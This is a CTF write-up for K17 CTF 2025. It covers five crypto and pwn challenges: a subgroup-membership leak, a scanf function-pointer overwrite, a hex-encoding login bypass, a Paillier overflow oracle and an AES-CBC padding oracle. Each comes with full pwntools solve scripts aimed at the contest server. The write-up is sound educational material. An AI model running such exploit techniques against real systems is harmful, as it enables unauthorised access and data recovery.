K17 CTF 2025—Writeup

Welcome back to my writeup! It’s been quite a while since I last shared one, but I’m excited to finally dive back in. In this post, I’ll walk you through the solutions to the challenges we tackled in K17 CTF 2025. This edition of the CTF was both thrilling and challenging, offering a mix of puzzles that really tested our skills and creativity. Join me as I break down each challenge, explain our thought process, and share the strategies we used to solve them—it’s been an incredibly fun and rewarding experience!

El Camel

For this cryptography challenge, we are provided with a piece of Python code.

chall.py

from secrets import randbelow
from sympy import isprime

def findGenerator():
    while True:
        h = randbelow(p)
        if pow(h, q, p) != 1:
            continue

        g = pow(h, 2, p)
        if g != 1:
            return g

def rng(key):
    r = randbelow(p)

    c = pow(g, r * x, p)
    c += key

    return c % p

if __name__ == "__main__":
    from secret import FLAG, p, q

    assert isprime(p) and isprime(q)

    g = findGenerator()
    x = randbelow(q)

    print(f"""The Mystical El-Camel is in town!
Beat their game to win a special prize...

{p}
{q}
""")

    m0 = int(input("How tall do you want the coin to be?> "))
    m1 = int(input("How long do you want the coin to be?> "))

    m = [m0, m1]
    score = 0
    symbols_to_index = {'H': 0, 'T': 1}

    for _ in range(50):
        i = randbelow(2)
        c = rng(m[i])
        print(c)

        print("The coin has been tossed...")
        guess = input("Heads or Tails! (H or T)> ")
        guess = symbols_to_index.get(guess.upper())

        if guess == i:
            print("That's correct!\n")
            score += 1
        else:
            print("Incorrect!\n")

    if score > 37:
        print("ElCamel is impressed! Here is your prize...")
        print(FLAG)
    else:
        print("Better luck next time!")

What the code does?

The server generates a prime p and another prime q (normally q | p-1), builds a nontrivial subgroup of ℤ_p^* of order q, picks a secret exponent x ∈ [0, q-1], and repeatedly reveals values of the form

c = g^(r * x) + key   (mod p)

where r is fresh randomness each call and key is one of two integers you provide (m0 or m1). The game prints c and asks you to guess which of the two keys was used. You win the flag if you guess enough times.

This is not standard ElGamal (there’s no multiplication of message into the exponent, no pair of values). It’s effectively masking the integer key by adding a random subgroup element (the term g^(r*x)) instead of using a secure additive or XOR PRG. That additive masking leaks a cheap and easy subgroup membership test.

Crypto primitive / pattern identification

  • pow(g, r * x, p) — Diffie‑Hellman style exponentiation (group element).

  • c = s + key (mod p) where s = g^(r*x) — additive masking of the key by a group element.

  • g is chosen to lie in a subgroup of order q (server enforces h^q = 1 before squaring).

  • r is new for each call.

So the core primitive is: a random element from the q‑order subgroup is added to the message. The security should rely on that element being unpredictable — but the server exposes p and q and uses a group/subgroup structure that allows subgroup membership tests.

Why this is insecure?

Elements of the subgroup of order q are exactly those y ∈ ℤ_p^* with y^q ≡ 1 (mod p). The server gives you p and q, so you can test whether any value d satisfies d^q % p == 1. For a ciphertext c, the true masked value s = c - key (mod p) equals g^(r*x) and therefore must lie in the q‑order subgroup, so s^q ≡ 1 (mod p). Conversely, if you guess the wrong key', then (c - key') is some random element of ℤ_p. The chance that a random element satisfies d^q ≡ 1 by accident is about 1/q (very small for large q).

Hence: for each ciphertext c and candidate m you can compute d = (c - m) mod p and test pow(d, q, p) == 1. The correct m will always pass; the incorrect one will almost always fail. This gives you an oracle that reveals which message was used every round.

solve.py

#!/usr/bin/env python3
from pwn import remote
import sys

# values from the challenge
p = 105608229528789142631775387999866508795427570969327268682242933574329621868658889587933321616030362833282519833361858498474406413117739010260519171752737365794083267084947959753119521857995326318387692391204942232454020824055547810363275147860366550417464576387096707442458291867676812955650597093180103492943
q = 52804114764394571315887693999933254397713785484663634341121466787164810934329444793966660808015181416641259916680929249237203206558869505130259585876368682897041633542473979876559760928997663159193846195602471116227010412027773905181637573930183275208732288193548353721229145933838406477825298546590051746471

HOST = "challenge.secso.cc"
PORT = 7001

def is_in_subgroup(val):
    # val is expected already reduced modulo p
    # subgroup test: val^q % p == 1
    return pow(val, q, p) == 1

def main():
    io = remote(HOST, PORT)
    try:
        # read until first prompt for m0
        data = io.recvuntil(b"> ")
        # send m0 = 0 and m1 = 1 (small, easily distinguishable)
        io.sendline(b"0")
        data = io.recvuntil(b"> ")
        io.sendline(b"1")

        # play 50 rounds
        for roundn in range(50):
            # server prints the ciphertext line (a number) then "The coin has been tossed..." then prompt
            # so read lines until we get an integer line
            c = None
            while True:
                line = io.recvline(timeout=5)
                if not line:
                    break
                s = line.strip()
                # try parse integer
                try:
                    c = int(s)
                    break
                except:
                    # skip non-int lines
                    pass

            if c is None:
                print("[!] Did not receive ciphertext; aborting")
                break

            c_mod = c % p
            # check c_mod and (c_mod - 1) mod p
            if is_in_subgroup(c_mod):
                guess = "H"
            elif is_in_subgroup((c_mod - 1) % p):
                guess = "T"
            else:
                # Shouldn't normally happen with m0=0,m1=1; fallback to H
                guess = "H"

            # read until prompt then send guess
            io.recvuntil(b"> ")
            io.sendline(guess.encode())
            # print progress
            print(f"[{roundn+1:02d}] c = {c_mod}  -> guess {guess}")

        # receive final banner / flag
        final = io.recvall(timeout=5)
        print(final.decode(errors="ignore"))

    finally:
        io.close()

if __name__ == "__main__":
    main()

Here's the output

Ezwins

For this pwn challenge, we’re given a binary to analyze.

This is the decompiled main function produced by Ghidra.

undefined8 main(void)
{
  int iVar1;
  long in_FS_OFFSET;
  char local_58 [32];
  undefined1 uStack_38;
  undefined7 local_37;
  undefined1 uStack_30;
  long local_20;

  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  local_37 = 0x401210;
  uStack_30 = 0;
  puts("Hello! Let's get to know you a bit better.");
  puts("What's your name?");
  fgets(local_58,0x20,stdin);
  puts("How old are you?");
  FUN_00401100(" %lld",&uStack_38);
  do {
    iVar1 = getchar();
    if (iVar1 == 10) break;
  } while (iVar1 != -1);
  (*(code *)CONCAT17(uStack_30,local_37))();
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return 0;
}

Key points:

  • local_37 is a 7‑byte variable that is pre-initialized to some value (the decompiler shows local_37 = 0x401210).

  • uStack_30 is a 1‑byte variable (initially 0).

  • The program constructs an 8‑byte pointer by concatenating uStack_30 as the high byte and local_37 as the low 7 bytes: pointer = (uStack_30 << 56) | local_37.

  • Then it calls pointer().

The bug

FUN_00401100(" %lld", &uStack_38) behaves like scanf("%lld", ...): it writes an 8‑byte signed integer starting at the address &uStack_38. Look at the local variables layout:

[ ... higher addresses ... ]
local_58[32]   <-- user name buffer (fgets)
uStack_38      <-- start of 8-byte write
local_37 (7 bytes)
uStack_30 (1 byte)
[ ... other stack values ... ]

So writing an 8‑byte integer at &uStack_38 will fill these bytes (in order, little‑endian):

  • byte 0 → uStack_38

  • bytes 1..7 → local_37

  • byte 8 → uStack_30 (note: depending on exact layout the final high byte lands in uStack_30 — the decompiler’s CONCAT17 shows the program uses local_37 (7 bytes) + uStack_30 (1 byte) to build the pointer.)

Therefore the scanf overwrites both local_37 and uStack_30 with the 8 bytes you supply. After the read, the program does CONCAT17(uStack_30, local_37) to reconstruct an 8‑byte pointer from those overwritten bytes, and then calls it. That gives the attacker control of the target of the call — but only to the extent the pointer bytes can be set by that 8‑byte write and by the initial preserved layout.

Why fgets of the name is not the vuln?

fgets(local_58, 0x20, stdin); is safe here (reads at most 31 chars + null). The actual vulnerability is the mismatch between where the program writes the %lld result (&uStack_38, a one‑byte/adjacent-field address) and the fact that %lld writes 8 bytes. That 8‑byte write overlaps the function-pointer fields.

This is a classic stack variable layout misuse / improper bounds/type handling (not a straight buffer overflow of local_58). The problem is trusting scanf to write a 64‑bit value into a location that was not declared to hold a 64‑bit variable.

exploit.py

#!/usr/bin/env python3
from pwn import *
import sys

BINARY = './chal'

elf = ELF(BINARY)
win_addr = elf.symbols['win']
log.info(f"win @ {hex(win_addr)}")

# We want N such that (N >> 8) == win_addr
N = win_addr << 8
log.info(f"Using N = win << 8 = {hex(N)} ({N})")

def start(argv=None):
    if len(sys.argv) == 3:
        host = sys.argv[1]
        port = int(sys.argv[2])
        return remote(host, port)
    else:
        return process([BINARY])

p = start()

p.recvuntil(b"What's your name?")
# send any name (fgets up to 0x20).
p.sendline(b"exploit\n")

p.recvuntil(b"How old are you?")
p.sendline(str(N).encode())

# after this the function pointer will be called -> win() -> shell
p.interactive()

Here's the output

Pass Me The Salt

For this cryptography challenge, we are provided with a piece of Python code once again.

chall.py

from hashlib import sha1
import os

logins = {}
salts = {}

def create_account(login, pwd):
    if login in logins.keys():
        return False

    salt = os.urandom(16)
    salted_pwd = salt + (pwd).encode()
    passw = sha1(salted_pwd).hexdigest()

    logins[login] = passw
    salts[login] = salt

    return True

def check_login(login, pwd):
    if login not in logins:
        return False

    salt = salts[login]
    salted_pwd = salt + bytes.fromhex(pwd)

    passw = sha1(salted_pwd).hexdigest()
    return passw == logins[login]

def change_password(login, new_pass):
    if login not in logins:
        return

    print(f"Current password: {logins[login]}")

    logins[login] = new_pass

if __name__ == "__main__":
    create_account("admin", "admin".encode().hex())

    while True:
        option = input("1. Create Account\n2. Login\n3. Change Password\n(1, 2, 3)> ")
        if option == "1":
            login = input("Login: ")
            pwd = input("Password: ")
            if create_account(login, pwd.encode().hex()):
                print("Account created!")
            else:
                print("Could not create account.")
        elif option == "2":
            login = input("Login: ")
            pwd = input("Password: ")

            if not check_login(login, pwd):
                print("Invalid login or password.")
                continue

            if login == "admin":
                if pwd != "admin".encode().hex():
                    print(f"Congratulations! Here is your flag: {os.getenv("FLAG")}")
                else:
                    print("Your flag is in another castle...")
            else:
                print(f"Login successful as {login}!")
        elif option == "3":
            login = input("Login: ")
            new_pass = input("New password: ")

            change_password(login, new_pass)
            print("Password changed!")
        else:
            print("Invalid option.")

This is a classic double‑encoding / encoding mismatch bug.

What the code does?

Account creation

  • create_account expects pwd to be a string (it calls (pwd).encode()).

  • It generates a 16‑byte salt.

  • It computes:

salted_pwd = salt + (pwd).encode()
passw = sha1(salted_pwd).hexdigest()
  • and stores logins[login] = passw and salts[login] = salt.

So whatever string you pass in as pwd, the server will append the ASCII bytes of that string to the salt and hash that.

In main() the program creates the admin account like this:

create_account("admin", "admin".encode().hex())
  • "admin".encode().hex() is the hex string representation of the bytes of "admin".

  • "admin".encode().hex()"61646d696e" (this is the literal ASCII string of hex digits '6','1','6','4','6','d','6','9','6','e').

  • So the stored hash for admin is sha1(salt + b"61646d696e").

Login checking

check_login expects pwd to be a hex string representing raw bytes. It does:

salt = salts[login]
salted_pwd = salt + bytes.fromhex(pwd)
passw = sha1(salted_pwd).hexdigest()
return passw == logins[login]

bytes.fromhex(pwd) converts the hex string you supply into the raw byte sequence it represents.

So to pass the login check for admin you need:

sha1(salt + bytes.fromhex(user_input)) == sha1(salt + b"61646d696e")

Therefore you need bytes.fromhex(user_input) == b"61646d696e".

What user_input satisfies that? user_input must be the hex representation of the byte string b"61646d696e". Concretely:

b"61646d696e" (the ASCII bytes for '6','1','6','4','6','d','6','9','6','e') in hex is:

36 31 36 34 36 64 36 39 36 65

joined -> the string: 36313634366436393665

So the string you must supply as the password at login is:

36313634366436393665

Because bytes.fromhex("363136...") == b"61646d696e", and that matches what was hashed at creation.

Here's the procedure and the output

Tricks

For this cryptography challenge, we’re provided with another Python script.

chall.py

from Crypto.Util.number import getStrongPrime, long_to_bytes, bytes_to_long
from random import randint
from secrets import FLAG

assert len(FLAG) == 32

class Paillier:
    # en.wikipedia.org/wiki/Paillier_cryptosystem
    def __init__(self, p, q):
        self.n = p * q
        self.n2 = pow(self.n, 2)
        self.l = (p - 1) * (q - 1)
        self.mu = pow(self.l, -1, self.n)
        self.g = self.n + 1
        self.L = lambda x : (x - 1) // self.n

    def encrypt(self, m):
        return (pow(randint(1, self.n - 1), self.n, self.n2) * pow(self.g, m, self.n2)) % self.n2

    def decrypt(self, c):
        return (self.L(pow(c, self.l, self.n2)) * self.mu) % self.n


paillier = Paillier(getStrongPrime(1024), getStrongPrime(1024))
print(f"{paillier.n = }")

print(paillier.encrypt(bytes_to_long(FLAG)))
print("a key property of paillier encryption/decryption is that its homomorphic between the additive/multiplicative on the plaintext/ciphertext space")
print("the ability to anonymously add, or combine, encrypted streams is incredibly useful, one such application being")
print("TRICKS!!!")
print("YOU")
print("CAN")
print("DO")
print("TRICKS!!!!")
print("LET'S SEEE IF YOU CAN DO TRIIIIIICKS!!!!!!!!!!!!!!!!!!!!!!!!")
tricks = {
    "cha cha left": lambda x : x + b"\x00", # e.g. pow(x, 256, self.n2)
    "wave your hands": lambda x : b"\\_/-\\_/" + x + b"\\_/-\\_/",
    "SAY IT THREE TIMES": lambda x : x + x + x
}
print(f"you can {', '.join(tricks.keys())}... yeah that's pretty much it actually")

while True:
    trick = input("Which trick do you want to show me? ")
    if trick not in tricks:
        print("I've never heard of that trick before")
        continue


    x = int(input("What's the encrypted message you'd like to perform the trick on? "))
    y = int(input("What's the encrypted result of the trick? "))
    if bytes_to_long(tricks[trick](long_to_bytes(paillier.decrypt(x)))) == paillier.decrypt(y):
        print("HOLY SMOKES WHAT A TRICK!!!!!")
    else:
        print("nup.")

The server builds a Paillier cryptosystem with two 1024-bit primes and publishes the modulus n and an encryption of the 32-byte FLAG, c_flag = E(m_flag). The Paillier implementation uses g = n + 1 and standard encrypt(m) = r^n * g^m mod n^2 and decrypt(c) = L(c^λ mod n^2) * μ mod n. The interactive part of the service asks you to pick one of three small “tricks” that transform plaintext bytes; the exploited trick, “cha cha left”, simply appends a \x00 byte to the plaintext bytes. When handled as integers that operation is exactly multiplication by 256 (a left shift by 8 bits). The server asks the user to supply two ciphertext integers x and y, decrypts them server-side, applies the chosen trick to the decrypted x at the plaintext/bytes level, converts it back to an integer, and compares that integer with the direct decryption of y. If they match, the server prints success; otherwise it prints failure.

The important cryptographic facts are Paillier’s homomorphic laws: multiplying a ciphertext by g^k results in adding k to the plaintext (E(m) * g^k = E(m + k)), and raising a ciphertext to an exponent e multiplies the plaintext by e modulo n (E(m)^e = E(e * m mod n)). Using those identities the attacker can craft ciphertexts whose plaintexts are linear combinations or scaled versions of the secret flag integer without knowing the secret key. In particular, if x = E(m_x) then x^256 is a ciphertext of 256 * m_x mod n. The server, however, compares bytes_to_long(long_to_bytes(decrypt(x)) + b"\x00") (which is the unmodded integer 256 * decrypt(x)) with decrypt(y) (which is 256 * decrypt(x) mod n). Therefore the equality holds if and only if 256 * decrypt(x) < n (i.e. no modular wrap). This gives a boolean oracle that tells you whether 256 * chosen_plaintext overflows modulo n.

In short, the service leaks a single yes/no bit per query about whether a scaled version of the secret exceeds n/256. Paillier’s homomorphic properties let the attacker produce those scaled versions without the secret key; the append-zero trick converts a modular equality test into a leakage of whether wrapping occurred. Repeating this test across powers of two and accumulating the corresponding weighted increments recovers the flag deterministically.

solve.py

from pwn import *
from Crypto.Util.number import long_to_bytes
import time

# connect
conn = remote("challenge.secso.cc", 7005)

modulus = int(conn.recvline().decode().split()[2].strip())
enc_flag = int(conn.recvline().decode().strip())

# Precompute square modulus
modulus_sq = modulus * modulus


def pow_via_repeated_squaring(base, repeats, mod):
    """Return base^(2**repeats) mod mod by performing 'repeats' squarings."""
    v = base % mod
    for _ in range(repeats):
        v = pow(v, 2, mod)
    return v


byte_offset = 0
start_index = 2048 - 256 - 8

# Cache for offset-based base value
cached_offset_marker = None
cached_base_val = None

# Cache for squaring reuse
prev_index = None
prev_power = None

TOTAL_ROUNDS = 32 * 8

for rnd in range(TOTAL_ROUNDS):
    round_start = time.time()

    # If offset changed since last loop, recompute the cached base value
    if cached_offset_marker != byte_offset:
        pow_mod = pow(modulus + 1, modulus - byte_offset, modulus_sq)
        cached_base_val = (enc_flag * pow_mod) % modulus_sq
        cached_offset_marker = byte_offset
        prev_index = None
        prev_power = None
        cache_info = "recomputed"
    else:
        cache_info = "reused"

    # Determine efficient exponentiation using previous power if possible
    if prev_index is None:
        val = pow_via_repeated_squaring(cached_base_val, start_index, modulus_sq)
        exp_method = "full_squaring"
    else:
        if start_index >= prev_index:
            # fast-forward from previous power
            val = prev_power
            for _ in range(start_index - prev_index):
                val = pow(val, 2, modulus_sq)
            exp_method = f"fast_forward ({start_index - prev_index} squarings)"
        else:
            # fallback: recompute from base
            val = pow_via_repeated_squaring(cached_base_val, start_index, modulus_sq)
            exp_method = "fallback_full_squaring"

    prev_index = start_index
    prev_power = val

    # Interact with remote
    conn.recvuntil(b"show me? ")
    conn.sendline(b"cha cha left")
    conn.recvuntil(b"trick on? ")

    send_val = str(val).encode()
    conn.sendline(send_val)
    conn.recvuntil(b"the trick? ")
    send_pow256 = str(pow(val, 256, modulus_sq)).encode()
    conn.sendline(send_pow256)

    result = conn.recvline().strip()
    round_time = time.time() - round_start

    # Build structured output dict
    out = {
        "round": rnd + 1,
        "start_index": start_index,
        "cache": cache_info,
        "exp_method": exp_method,
        "sent_len": len(send_val),
        "sent_pow256_len": len(send_pow256),
        "result_preview": result[:200].hex() if result else "",
        "result_text_preview": result[:200].decode(errors='replace'),
        "round_time_s": round_time
    }

    print(f"[ROUND {out['round']:02d}] index={start_index} | cache={out['cache']} | method={out['exp_method']} | time={round_time:.3f}s")
    print(f"  - sent (len): val={out['sent_len']} bytes, pow256={out['sent_pow256_len']} bytes")
    print(f"  - response (text preview): {out['result_text_preview']}")
    print(f"  - response (hex preview): {out['result_preview']}")

    # Check condition for bit detection
    if b"nup." in result:
        bit = 2048 - start_index - 8
        # update byte_offset by shifting modulus and adding
        # note: original logic used (modulus >> 8) >> start_index
        byte_offset_increment = (modulus >> 8) >> start_index
        byte_offset += byte_offset_increment

        try:
            offset_bytes = long_to_bytes(byte_offset)
            offset_ascii = offset_bytes.decode('utf-8', errors='replace')
        except Exception:
            offset_bytes = long_to_bytes(byte_offset)
            offset_ascii = ''.join(chr(b) if 32 <= b < 127 else '.' for b in offset_bytes)

        print(f"[BIT DETECTED] bit_index={bit} | increment={byte_offset_increment} | new_offset_len={len(offset_bytes)}")
        print(f"[OFFSET] bytes(hex): {offset_bytes.hex()} | ascii-preview: {offset_ascii}\n")

        # reset cached base so it will recompute for new offset
        cached_offset_marker = None
        # move to next round
        start_index += 1
        continue

    # If no bit detected, advance start_index and continue
    start_index += 1

print("\n=== Completed rounds ===")
print("Final byte_offset (hex):", long_to_bytes(byte_offset).hex())
print("Final byte_offset (repr):", repr(long_to_bytes(byte_offset)))

conn.interactive()

Here's the output

Layers

For the final challenge in my writeup, we were provided with a Python script to analyze and exploit.

chall.py

from Crypto.PublicKey import RSA
from Crypto.Util.Padding import pad, unpad
from Crypto.Util.number import long_to_bytes, bytes_to_long, getPrime
from Crypto.Cipher import AES
from random import randint, randbytes
from secrets import FLAG

class LayeredEncryption:
    def __init__(self, p, q, aes_key):
        assert len(aes_key) == 16
        self.n = p * q
        self.aes_key = aes_key
        self.e = 65537
        self.d = pow(self.e, -1, (p - 1) * (q - 1))

    def encrypt(self, m):
        iv = randbytes(16)
        aes_c = bytes_to_long(iv + AES.new(self.aes_key, AES.MODE_CBC, iv).encrypt(pad(m, 16)))

        print(aes_c)

        r = randint(1, 2**512 - 1)
        ri = pow(r, -1, self.n)
        return (r, pow(ri * aes_c, self.e, self.n), pow(ri * aes_c, self.d, self.n)) # salt, encrypted ciphertext, signature of ciphertext


    def decrypt(self, r, c, s):
        if r < 1 or r >= 2**512:
            print("Salt must a positive integer less than 2^512")
        elif c != pow(s, self.e * self.e, self.n):
            print("Signature is invalid!")
        else:
            aes_c_bytes = long_to_bytes((pow(c, self.d, self.n) * r) % self.n)
            iv, ciphertext = aes_c_bytes[:16], aes_c_bytes[16:]
            return unpad(AES.new(self.aes_key, AES.MODE_CBC, iv).decrypt(ciphertext), 16)


e = LayeredEncryption(getPrime(1024), getPrime(1024), randbytes(16))
r, c, s = e.encrypt(FLAG)
print(f"{e.n = }")
print(f"{e.e = }")
print("Welcome to my lair of layers!")
print(f"Foolish traveller! You think you can best all of my schemes!??! Here, a challenge: {(r, c, s)}")


while True:
    guess = input("Prithee, tell in a comma-separated triplet, what secret do i hold? ")
    try:
        if e.decrypt(*map(int, guess.split(","))) == FLAG:
            print("yes, AND IT SHALL NEVER SEE THE LIGHT OF DAY!")
        else:
            print("NAY!")
    except:
        print(f"what is bro doing 💀")

The challenge implements a custom LayeredEncryption scheme that mixes AES-CBC and RSA. On setup it generates two RSA primes p, q (so n = p*q), sets the public exponent e = 65537 and computes the private exponent d, and uses a random 16-byte AES key. When encrypting, the code creates a random 16-byte IV and AES-CBC-encrypts the message (the IV is prepended to the AES ciphertext), then converts that IV||ciphertext into a big integer aes_c. It picks a random salt r, computes its modular inverse ri = r⁻¹ mod n, and returns the triplet (r, c, s) where c = (ri * aes_c)^e mod n (an RSA-style encryption of the salted AES blob) and s = (ri * aes_c)^d mod n (the corresponding RSA signature). The decryption routine first checks the signature validity by testing c == s^(e*e) mod n; if valid it recovers the AES blob with (c^d * r) mod n, converts that back to bytes, extracts the IV and AES ciphertext, and AES-decrypts and unpads to return the plaintext. The program prints the AES ciphertext (as an integer), the RSA modulus and exponent, and the produced (r, c, s) for the FLAG, then accepts user-supplied triplets and replies differently depending on whether decryption or signature checks fail. Those differing error messages leak information about padding/validation results, which creates a padding-oracle vulnerability an attacker can exploit to recover the AES plaintext without needing the RSA private key.

To give you an idea: AES in CBC mode works block by block. If the padding at the end of the plaintext is invalid, decryption fails. Since the challenge prints different error messages, an attacker can exploit this to brute force each byte of the plaintext → classic padding oracle attack.

solve.py

from pwn import *
from Cryptodome.Util.number import long_to_bytes, bytes_to_long, getPrime

# Cleaner, verbose (but non-debug) padding-oracle solver

conn = remote("challenge.secso.cc", 7004)

aes_cipher_int = int(conn.recvline().decode().strip())
mod_n = int(conn.recvline().decode().strip().split()[-1])
pub_e = int(conn.recvline().decode().strip().split()[-1])

# read challenge tuple (r, c, s)
conn.recvuntil(b"challenge: (")
challenge_r = int(conn.recvuntil(b", ").decode().split(",")[0])
challenge_c = int(conn.recvuntil(b", ").decode().split(",")[0])
challenge_s = int(conn.recvuntil(b")").decode().split(")")[0])


def padding_oracle_recover(block_msg: bytes) -> list:
    """Perform a CBC-style padding-oracle brute force to recover the
    intermediate bytes for a single 16-byte block.

    This function is verbose (high-level progress only) but does NOT
    print per-trial debug output.
    Returns a list of 16 recovered intermediate bytes.
    """
    iv_candidate = [0] * 16
    iv_candidate[0] = 0xFF  # keep leading byte non-zero so long->bytes doesn't trim
    recovered = [0] * 16

    print("  -> Starting recovery for block (16 bytes)")

    for pad_len in range(1, 17):
        possible_hits = []

        # prepare previously recovered bytes to match current padding value
        for k in range(1, pad_len):
            iv_candidate[16 - k] = recovered[16 - k] ^ pad_len

        # try all possible byte values for the current position
        for trial in range(256):
            iv_candidate[16 - pad_len] = trial
            payload = bytes(iv_candidate) + block_msg

            # send payload and read response from oracle
            conn.recvuntil(b"i hold? ")
            conn.sendline(f"{bytes_to_long(payload)},{1},{1}".encode())
            response = conn.recvline()

            if b"what is bro doing" not in response:
                possible_hits.append(trial)

        if len(possible_hits) == 1:
            recovered_byte = pad_len ^ possible_hits[0]
            recovered[16 - pad_len] = recovered_byte
            print(f"    [pad {pad_len:2d}] recovered byte at pos {16-pad_len:2d}: 0x{recovered_byte:02x}")
        else:
            # be explicit and helpful when the oracle yields ambiguous results
            print(f"    [-] ambiguous padding candidates for pad={pad_len}: {possible_hits}")
            raise RuntimeError("padding oracle produced ambiguous results")

        # show short snapshot of current recovered intermediate (hex)
        snapshot = bytes([b for b in recovered if b != 0 or True])
        print(f"    current intermediate snapshot (hex): {bytes(recovered).hex()}\n")

    print("  -> Block recovery complete\n")
    return recovered


# convert ciphertext integer into raw bytes and split into blocks
cipher_bytes = long_to_bytes(aes_cipher_int)

# ensure we have at least 3 blocks (IV + 3 ciphertext blocks) like original script
if len(cipher_bytes) < 48:
    raise SystemExit("[-] Unexpected ciphertext length: need at least 48 bytes for three 16-byte blocks")

# For each 16-byte block we run the same oracle recovery and XOR with previous block
print("[*] Beginning block-by-block recovery\n")

block1_iv = cipher_bytes[16:32]
res_block1 = padding_oracle_recover(block1_iv)
plain_block1 = bytes([a ^ b for a, b in zip(cipher_bytes[0:16], res_block1)])
print(f"[+] plaintext (ascii): {repr(plain_block1)} | hex: {plain_block1.hex()}\n")

block2_iv = cipher_bytes[32:48]
res_block2 = padding_oracle_recover(block2_iv)
plain_block2 = bytes([a ^ b for a, b in zip(cipher_bytes[16:32], res_block2)])
print(f"[+] plaintext (ascii): {repr(plain_block2)} | hex: {plain_block2.hex()}")
print(f"[*] concatenated so far (hex): {(plain_block1 + plain_block2).hex()}\n")

block3_iv = cipher_bytes[48:64]
res_block3 = padding_oracle_recover(block3_iv)
plain_block3 = bytes([a ^ b for a, b in zip(cipher_bytes[32:48], res_block3)])
final_plain = plain_block1 + plain_block2 + plain_block3
print(f"[+] plaintext (ascii): {repr(plain_block3)} | hex: {plain_block3.hex()}\n")
pythonprint("=== FINAL RESULT ===")
print(f"[+] Plaintext (raw bytes repr): {repr(final_plain)}")
print(f"[+] Plaintext (hex)         : {final_plain.hex()}\n")

conn.interactive()

This kind of attack is slow because it brute-forces each byte of the ciphertext block-by-block, requiring up to 256 guesses per byte and many queries to the oracle.

Here's the output

And that's a wrap!!

A1SBERG proudly secured 66th place out of 1,356 teams.

Hope you wish us luck for H4G 2025:>>>

Last updated